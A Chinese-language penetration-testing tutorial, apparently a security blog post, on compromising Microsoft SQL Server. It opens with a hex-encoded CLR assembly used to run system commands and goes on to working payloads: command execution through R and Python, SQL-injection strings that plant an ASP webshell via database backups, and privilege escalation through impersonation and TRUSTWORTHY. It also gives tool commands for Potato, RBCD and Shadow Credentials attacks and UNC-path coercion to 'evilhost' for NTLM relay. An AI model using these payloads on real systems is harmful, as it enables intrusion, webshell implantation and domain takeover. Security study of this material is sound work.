000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003A000D00010049006E007400650072006E0061006C004E0061006D00650000004D007300730071006C0043006C0072002E0064006C006C00000000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000042000D0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000004D007300730071006C0043006C0072002E0064006C006C0000000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000503C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
    WITH PERMISSION_SET = UNSAFE;
GO

/* 从程序集 MssqlClr 创建存储过程 dbo.ExecCommand */
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX) NULL
AS EXTERNAL NAME [MssqlClr].[StoredProcedures].[ExecCommand]
GO

/* 利用创建的存储过程 dbo.ExecCommand 执行系统命令 */
EXEC dbo.ExecCommand "whoami /all";

/* 利用结束后,先后删除程序集和存储过程 */
DROP PROCEDURE [dbo].[ExecCommand];
DROP ASSEMBLY [MssqlClr];

SQL Server R & Python

在 SQL Server 2017 及更高版本中,R 与 Python 一起随附在机器学习服务中。该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本。

SQL Server R & Python 的利用条件如下:

  • SQL Server 安装了机器学习服务或语言扩展
  • 启用了外部脚本编写功能

相关配置方法如下:

/* 启用外部脚本编写功能 */
EXEC sp_configure 'external scripts enabled', 1;
RECONFIGURE WITH OVERRIDE;

相关利用方法如下:

  • 利用 R 执行系统命令
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c whoami",intern=T))'
WITH RESULT SETS (([cmd_out] text));
  • 利用 Python 执行系统命令
EXEC sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'
  • 利用 Python 读取文件
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

如果运行 SQL Server 的服务器上存在 Web 服务,我们借助通过 SQL Server 内置的存储过程、数据备份以及日志备份等功能,向 Web 目录内写入 WebShell。不过在此之前,我们需要先知道 Web 根目录的路径。

寻找 Web 根目录

针对 SQL Server,我们可以通过以下方法来寻找 Web 根目录:

  • 通过 xp_dirtree 等存储过程列目录
/* 列出 C 盘根目录下的所有文件夹 */
EXEC master..xp_dirtree 'c:',1
/* 列出 C 盘根目录下的所有文件夹 */
EXEC master..xp_dirtree 'c:',1,1

在 SQL 注入点处,我们可以先创建一张临时空表,将查询的结果插入到表中,最后再查询这张临时表来得到结果:

?id=-1;create table temp (dir varchar(8000),num int,num1 int);
?id=-1;insert into temp(dir, num, num1) execute master..xp_dirtree 'c:',1,1
  • 执行系统命令来寻找
?id=-1;create table temp (dir varchar(8000));
?id=-1;insert into temp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (*.aspx) do @echo %i'

找到 Web 目录后,除了利用上一节中涉及到的写文件方法外,在 SQL Server 中还可以通过差异备份和日志备份来写入 WebShell。

差异备份 Getshell

差异备份写 WebShell 的利用条件如下:

  • 当前用户权限即可
  • 知道的 Web 根目录的路径
  • SQL Server 服务运行帐户对要写入的目录有写入权限
  • 数据量不能太大

相关利用方法如下,将数据库备份成 asp/aspx/jsp 等文件:

/* 必须先完整备份一次,FoundStone_Bank 是笔者当前的数据库名 */
?id=-1;backup database FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public\test.bak';
/* 创建一张临时表 */
?id=-1;create table [dbo].[test] ([cmd] [image]);
/* 向表中插入一句话 WebShell:<%execute(request("a"))%> */
?id=-1;insert into test(cmd) values(0x3C25657865637574652872657175657374282261222929253E);
/* 再次备份,注意路径 */
?id=-1;backup database FoundStone_Bank to disk='C:\inetpub\wwwroot\public\shell.asp' WITH DIFFERENTIAL,FORMAT;

日志备份 Getshell

相对于差异备份而言,日志备份写入的 WebShell 体积较小,且多次备份的成功率较高。其利用条件如下:

  • 当前用户具有 DBA 权限
  • 知道的 Web 根目录的路径
  • SQL Server 服务运行帐户对要写入的目录有写入权限
  • 数据库必须被备份过一次

相关利用方法如下,将数据库日志备份成 asp/aspx/jsp 等文件:

/* 把指定的数据库激活为还原模式,FoundStone_Bank 是笔者当前的数据库名 */
?id=-1;alter database FoundStone_Bank set RECOVERY FULL;
/* 创建一张临时表 */
?id=-1;create table test (cmd image);
/* 先将数据库日志备份一次 */
?id=-1;backup log FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public' with init;
/* 向表中插入一句话 WebShell:<%execute(request("a"))%> */
?id=-1;insert into test (cmd) values (0x3C25657865637574652872657175657374282261222929253E);
/* 再将数据库日志备份一次,写入 WebShell */
?id=-1;backup log FoundStone_Bank to disk = 'C:\inetpub\wwwroot\public\shell.asp';

Impersonation Of Other Users

默认情况下,SQL Server 的会话在用户登录时开始,在用户注销时结束。会话过程中的所有操作都受限于对该用户进行的权限检查。当运行 EXECUTE AS 语句时,会话的执行上下文将切换到指定的登录名或用户名。上下文切换后,将根据指定的登录名和用户安全令牌检查该帐户(而非调用 EXECUTE AS 语句的用户)的权限。实际上,在会话或模块的执行期间模拟了用户或登录帐户,或显式恢复了上下文切换。

笔者将上述过程称作 SQL Server 的用户模拟。默认情况下,系统管理员可以模拟任何人,但是普通用户必须被授予 IMPERSONATE 权限才能来模拟特定的用户。

在实战中,如果我们接管了某一 SQL Server 帐户,但是由于权限限制无法执行一些高权限操作。信息收集发现该用户可以模拟高权限账户,那么就可以执行 EXECUTE AS 语句切换到高权限帐户的上下文,实现垂直提权。

Elevate to sysadmin

如果一个登录名被授予了模拟 sysadmin 角色登录名的权限,那么我们可以通过 EXECUTE AS LOGIN 可以模拟这个高权限登录名,提升至 sysadmin 权限。

(1)首先预设存在漏洞的配置。创建两个登录名 LoginUser1 和 LoginUser2,并授予登录名 LoginUser1 模拟登录名 LoginUser2 和 SA 的权限。

/* 创建两个登录名 LoginUser1 和 LoginUser2 */
USE master;
CREATE LOGIN LoginUser1 WITH PASSWORD = 'J345#$)thb';  
CREATE LOGIN LoginUser2 WITH PASSWORD = 'Uor80$23b';  
GO

/* 授予登录名 LoginUser1 模拟登录名 LoginUser2 和 SA 的权限 */
USE master;
GRANT IMPERSONATE ON LOGIN::[sa] to [LoginUser1];
GRANT IMPERSONATE ON LOGIN::[LoginUser2] to [LoginUser1];
GO

此时使用 LoginUser1 帐户登录,发现无法执行 xp_cmdshell 等高权限操作,如下图所示。

(2)在 LoginUser1 帐户权限下,新建查询,执行以下语句查询当前帐户可以模拟哪些帐户。

SELECT DISTINCT b.name 
FROM sys.server_permissions a 
INNER JOIN sys.server_principals b 
ON a.grantor_principal_id = b.principal_id 
WHERE a.permission_name = 'IMPERSONATE';

从返回结果中可知,LoginUser1 帐户可以模拟 SA 管理员帐户。

(3)执行以下语句,切换到 SA 帐户的上下文,成功提权。

/* 查看模拟前的登录名以及是否为 sysadmin 角色 */
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
/* 模拟 SA 帐户 */
EXECUTE AS LOGIN = 'sa';
/* 查看模拟后的登录名以及是否为 sysadmin 角色 */
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
/* 模拟后成功执行 xp_cmdshell 等高权限操作 */
EXEC master..xp_cmdshell 'whoami';

Elevate to db_owner

如果一个用户名被授予了模拟 db_owner 角色用户名的权限,那么我们可以通过 EXECUTE AS USER 可以模拟这个高权限用户名,提升至 db_owner 权限。

(1)首先预设存在漏洞的配置。创建两个登录名 LoginUser1 和 LoginUser2,从这两个登录名分别创建用户名 User1 和 User2。将 User2 帐户授予 db_owner 角色,LoginUser1 帐户默认为 public 角色。然后授予用户名 User1 模拟用户名 User2 的权限。

/* 创建两个登录名 LoginUser1 和 LoginUser2 */
USE master;
CREATE LOGIN LoginUser1 WITH PASSWORD = 'J345#$)thb', DEFAULT_DATABASE=FoundStone_Bank;
CREATE LOGIN LoginUser2 WITH PASSWORD = 'Uor80$23b', DEFAULT_DATABASE=FoundStone_Bank;
GO
/* 从这两个登录名分别创建用户名 User1 和 User2 */
USE FoundStone_Bank;
CREATE USER User1 FOR LOGIN LoginUser1 WITH DEFAULT_SCHEMA=dbo;
CREATE USER User2 FOR LOGIN LoginUser2 WITH DEFAULT_SCHEMA=dbo; 
GO
/* 为 User2 帐户授予 sysadmin 角色 */
EXEC sp_addrolemember 'db_owner', 'User2';
GO
/* 授予用户名 User1 模拟用户名 User2 的权限 */
GRANT IMPERSONATE ON USER::[User2] to [User1];
GO

此时使用 LoginUser1 帐户登录,发现无法执行任何查询操作,如下图所示。

(2)在 User1 帐户权限下,执行以下语句查询当前登录名和用户名,以及当前用户名可以模拟哪些帐户。

/* 查询当前登录名和用户名 */
SELECT SUSER_NAME(), USER_NAME();
/* 查询当前用户名可以模拟哪些帐户 */
SELECT distinct b.name FROM sys.database_permissions a 
INNER JOIN sys.database_principals b 
ON a.grantor_principal_id = b.principal_id 
WHERE a.permission_name = 'IMPERSONATE';

从返回结果中可知,当前登录名为 LoginUser1,用户名为 User1,并且 User1 帐户可以模拟用户名 User2。

(3)执行以下语句,切换到 SA 帐户的上下文,成功提权。

/* 查看模拟前的登录名、用户名以及是否为 db_owner 角色 */
SELECT SUSER_NAME(), USER_NAME(), IS_ROLEMEMBER('db_owner');
/* 模拟 User2 帐户 */
EXECUTE AS USER = 'User2';
/* 查看模拟后的登录名、用户名以及是否为 db_owner 角色 */
SELECT SUSER_NAME(), USER_NAME(), IS_ROLEMEMBER('db_owner');
/* 模拟后成功执行查询操作 */
SELECT * FROM fsb_accounts;

Trustworthy

SQL Server 数据库属性 TRUSTWORTHY 用于指明 SQL Server 实例是否信任该数据库以及其中的内容。如果普通用户在管理员用户(例如 SA)拥有的数据库上被赋予 db_owner 角色,并且该数据库被配置为可信任的,则该用户可以滥用这些特权来获得 sysadmin 权限,因为在那里创建的存储过程可以模拟所有者的上下文执行。

在默认情况下,只有数据库 msdb 的 TRUSTWORTHY 属性被设为了 ON。

下面笔者演示相关利用过程。

(1)首先预设存在漏洞的配置。以 SA 帐户权限创建一个名为 TestDB 的数据库(此时 TestDB 默认所有者是 SA),并为该数据库开启 TRUSTWORTHY 属性。创建登录名 LoginUser1,并为其创建用户名 User1。为用户名 User1 授予 TestDB 数据库的 db_owner 角色。

/* 创建一个名为 TestDB 的数据库,并为该数据库开启 TRUSTWORTHY 属性 */
CREATE DATABASE TestDB;
ALTER DATABASE TestDB SET TRUSTWORTHY ON;
GO
/* 创建登录名 LoginUser1 */
USE master;
CREATE LOGIN LoginUser1 WITH PASSWORD = 'J345#$)thb', DEFAULT_DATABASE=TestDB;
GO
/* 从这两个登录名分别创建用户名 User1 和 User2 */
USE TestDB;
CREATE USER User1 FOR LOGIN LoginUser1 WITH DEFAULT_SCHEMA=dbo;
/* 为 User1 帐户授予 sysadmin 角色 */
EXEC sp_addrolemember 'db_owner', 'User1';

此时使用 LoginUser1 帐户登录,发现无法执行 xp_cmdshell 等高权限操作,如下图所示。

(2)在 User1 帐户权限下,执行以下语句查询当前所有开启了 TRUSTWORTHY 属性的受信任数据库。从返回结果中可知,当前数据库受信任。

SELECT a.name, b.is_trustworthy_on 
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

然后执行以下语句查询对当前数据库的有效角色,从返回结果中可知,当前用户名即拥有 db_owner 角色。

SELECT rp.name as database_role, mp.name as database_user 
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

(3)在 User1 帐户权限下,最后通过创建存储过程提升至 sysadmin 权限。

/* 创建存储过程,为当前登录名授予 sysadmin 角色 */
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS 
EXEC sp_addsrvrolemember 'LoginUser1','sysadmin';
/* 执行存储过程 */
EXEC sp_elevate_me;
/* 查看提权后的登录名以及是否为 sysadmin 角色 */
SELECT SYSTEM_USER, IS_SRVROLEMEMBER('sysadmin');
/* 提权后成功执行 xp_cmdshell 等高权限操作 */
EXEC master..xp_cmdshell 'whoami';

在 Windows Server 2008 R2 和 Windows 7 之前,安装的 SQL Server 默认使用本地系统帐户(NT AUTHORITY\SYSTEM)运行,如果我们拿下了 SQL Server 的权限便可以 SYSTEM 权限执行系统命令。而在之后版本的系统中,SQL Server 会默认将实例名称用作服务名称的虚拟帐户(格式为 NT SERVICE\<SERVICENAME>),并使用虚拟帐户的权限运行。

“If the default value is used for the service accounts during SQL Server setup, a virtual account using the instance name as the service name is used, in the format NT SERVICE\<SERVICENAME>

虚拟帐户是本地服务账户(NT AUTHORITY\LOCAL SERVICE)的一种,这就意味着 SQL Server 的运行权限被大幅度降低,如果要开展后渗透的话就必须本地提权。

在本篇文章中,笔者仅介绍三种方法:

  • SeImpersonatePrivilege
  • Resource Based Constrained Delegation (RBCD)
  • Shadow Credentials

SeImpersonatePrivilege

本地服务帐户所拥有的 SeAssignPrimaryTokenPrivilege 或 SeImpersonatePrivilege 特权意味着可以通过访问令牌操纵技术实现本地提权。这两个特权非常强大,允许用户在另一个用户的安全上下文中运行代码甚至创建新进程。“Potato” 家族正是通过滥用 Windows 服务账户拥有的这两项特权,将已获取的 NT AUTHORITY\SYSTEM 账户的访问令牌传入 CreateProcessWithTokenWCreateProcessAsUserA 函数进行调用,从而在 NT AUTHORITY\SYSTEM 账户的上下文中创建新进程,以提升至 SYSTEM 权限。

在实战场景中,若通过MSSQL 服务的 xp_cmdshell 成功执行了系统命令,就可以通过 “Potato” 家族提权的方法提升至 SYSTEM 权限。

相关利用方法演示如下:

  • 通过 JuicyPotato 提升至 SYSTEM 权限(Windows Server 2019 and Windows 10 build 1809 prior version)
JuicyPotato.exe -a whoami

  • 通过 PrintSpoofer 模拟命名管道客户端提升至 SYSTEM 权限(Windows Server 2019 and Windows 10 build 1809 onwards, even all versions)
PrintSpoofer.exe -i -c whoami

Resource Based Constrained Delegation (RBCD)

Resource Based Constrained Delegation (RBCD) 即基于资源的约束性委派。关于 RBCD 的细节,请读者自行阅读笔者 《浅入深出域委派攻击》 这篇博客,本文不再赘述。

根据微软官方文档的描述 “Services that run as virtual accounts access network resources by using the credentials of the computer account in the format <domain_name>\<computer_name>$,以虚拟帐户身份运行的服务通过使用机器帐户的凭据(格式为 <domain_name>\<computer_name>$)访问网络资源。因此,如果是在域环境中,我们完全可以在 SQL Server 虚拟帐户的上下文中连接到活动目录,并为当前机器帐户设置 msDS-AllowedToActOnBehalfOfOtherIdentity 属性。

由于机器账户拥有对自身的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性的 WriteProperty 权限。

相关利用方法演示如下,获取 SQL Server 权限后,通过 SharpAllowedToAct 在域内添加一个机器账户 PENTEST$,并设置 PENTEST$ 到为当前机器帐户 WIN-MSSQL$ 的基于资源的约束性委派。

SharpAllowedToAct.exe -m PENTEST -p Passw0rd -t WIN-MSSQL -D pentest.com

设置成功后,通过 PENTEST$ 帐户申请访问 WIN-MSSQL$ 机器上 CIFS 服务的高权限票据,并最终获取 WIN-MSSQL$ 的最高权限。

Shadow Credentials

Black Hat Europe 2019 大会期间,Michael Grafnetter(@MGrafnetter)讨论了针对 Windows Hello for Business 技术的多种攻击方法,其中包括域持久化技术。该技术涉及修改目标计算机账户或用户帐户的 msDS-KeyCredentialLink 属性,以获得用于检索 NTLM 哈希值和请求 TGT 票据。关于 Shadow Credentials 的细节,请读者自行阅读笔者 《Shadow Credentials》 这篇博客,本文不再赘述。

与设置 msDS-AllowedToActOnBehalfOfOtherIdentity 相似,机器账户对自身的 msDS-KeyCredentialLink 属性拥有 WriteProperty 权限。我们可以在 SQL Server 虚拟帐户的上下文中连接到活动目录,为当前机器帐户 WIN-MSSQL$ 设置 Shadow Credentials,并最终通过 S4U2Self 提升至 SYSTEM 权限。

(1)执行以下命令,通过 Whisker 的向 WIN-MSSQL$msDS-KeyCredentialLink 属性添加 Shadow Credentials。

Whisker.exe add /target:WIN-MSSQL$ /domain:pentest.com /dc:dc01.pentest.com

(2)Whisker 的输出中包含了为 WIN-MSSQL$ 帐户请求到的证书,我们将该证书 Base64 解密后写入 win-mssql.pfx,之后可以与 Dirk-jan Mollema(@dirkjanm)的 PKINITtools 一起使用,以通过 KDC 进行身份验证,请求以 .ccache 格式保存的 TGT 票据。

python3 gettgtpkinit.py -cert-pfx win-mssql.pfx -pfx-pass C2wF94hNDeB6g26r pentest.com/win-mssql\$ win-mssql.ccache

(3)通过 Kerberos 的 S4U2Self 扩展协议,使用已获取的 WIN-MSSQL$ 帐户 TGT 为域管理员申请针对 WIN-MSSQL$ 上 CIFS 服务的的 ST 票据。

(4)使用获取到的 Administrator 用户的票据,并通过 wmiexec.py 获取 WIN-MSSQL$ 的最高权限,相关命令如下。

export KRB5CCNAME=/root/PKINITtools/Administrator.ccache
python3 wmiexec.py -k pentest.com/[email protected] -no-pass

熟悉 NTLM Relay 的读者都清楚,能让客户端向任意服务器发起身份认证意味着什么。通过在 NTLM 认证过程中设置中间人,在客户端与服务器之间传递认证消息,截获客户端的认证请求并将其重放到目标服务器,实现无需破解用户密码即可获得访问相关资源的权限。

Stored Procedure

在 SQL Server 中,如果一些涉及到文件操作的存储过程可控,我们可以尝试将其中的文件路径换成 UNC 路径,强制 SQL Server 向任意服务器发起身份认证。并且,由于 SQL Server 默认运行在 Local System 或 Network Service 账户下,这就意味着我们 SQL Server 将以本地机器帐户发起认证请求。虽然机器账户默认情况下不允许登录,但如果是在域环境中,我们可以将这个认证请求中继到活动目录,从而修改机器的相关属性实现本地特权提升。

以下是笔者简单罗列的几个可以实现强制认证存储过程:

/* 通过 SMB 协议发起强制认证 */
EXEC master..xp_fileexist '\\evilhost\share'
EXEC master..xp_dirtree '\\evilhost\share'
EXEC master..xp_subdirs '\\evilhost\share'
EXEC master..xp_create_subdir '\\evilhost\share'
EXEC master..xp_delete_file 0,'\\evilhost\share','bak'
EXEC master..xp_cmdshell '\\evilhost\share.exe'

/* 通过 Webdav(HTTP 协议)发起强制认证 */
EXEC master..xp_fileexist '\\[email protected]\webdav\test.txt'
EXEC master..xp_dirtree '\\[email protected]\webdav\test.txt'
EXEC master..xp_subdirs '\\[email protected]\webdav\test.txt'
EXEC master..xp_create_subdir '\\[email protected]\webdav\test.txt'
EXEC master..xp_delete_file 0,'\\[email protected]\webdav\test.txt','bak'
EXEC master..xp_cmdshell '\\[email protected]\webdav\test.exe'

在强制身份验证中,有很多服务可以支持身份验证,最常利用的服务可能就是 SMB 了。但是,从近几年攻击的角度来看,很多时候 SMB 协议并不理想。因为 SMB 协议将导致协商签名的服务器(例如 LDAP)对 NTLM 认证请求强制签名,最终导致攻击失败。因此,越来越多的黑客将利用的角度转向了那些不支持签名的客户端,例如 HTTP,最常见的就是臭名昭著的 WebDAV。关于 WebDAV 强制认证的细节,请读者阅读我的博客:《Privilege Escalation - NTLM Relay over HTTP (Webdav)》

截获 NTLM 认证请求后,可以将其中继到 LDAP 服务,为当前机器设置 msDS-KeyCredentialLinkmsDS-AllowedToActOnBehalfOfOtherIdentity 属性,并最终通过 Shadow CredentialsRBCD 等方法特权提升。了解相关细节,请读者自行点击上述链接跳转阅读,这里不再赘述。

Analysis Services

SQL Server Analysis Services 是一个分析数据引擎,用于决策支持和商业分析。它可为业务报告和客户端应用程序(如 Power BI、Excel、Reporting Services 报告和其他数据可视化工具)提供企业级语义数据模型。作为本地服务器实例安装,SQL Server Analysis Services 支持所有兼容级别的表格模型, (具体取决于版本) 、多维模型、数据挖掘和 Power Pivot for SharePoint。
在 Analysis Services 中可以通过还原数据库的功能,将数据库文件指向恶意的 UNC 路径,从而强制 SQL Server 运行的机器帐户发起认证。

<Restore xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
    <File>\\192.168.2.51\SYSVOL\db.abf</File>
    <DatabaseName>\\192.168.2.51\SYSVOL\db.abf</DatabaseName>
    <DbStorageLocation xmlns="http://schemas.microsoft.com/analysisservices/2008/engine/100/100">\\192.168.2.51\SYSVOL\db.abf</DbStorageLocation>
</Restore>

https://github.com/p0dalirius/MSSQL-Analysis-Coerce


文章来源: https://xz.aliyun.com/t/11937
如有侵权请联系:admin#unsafe.sh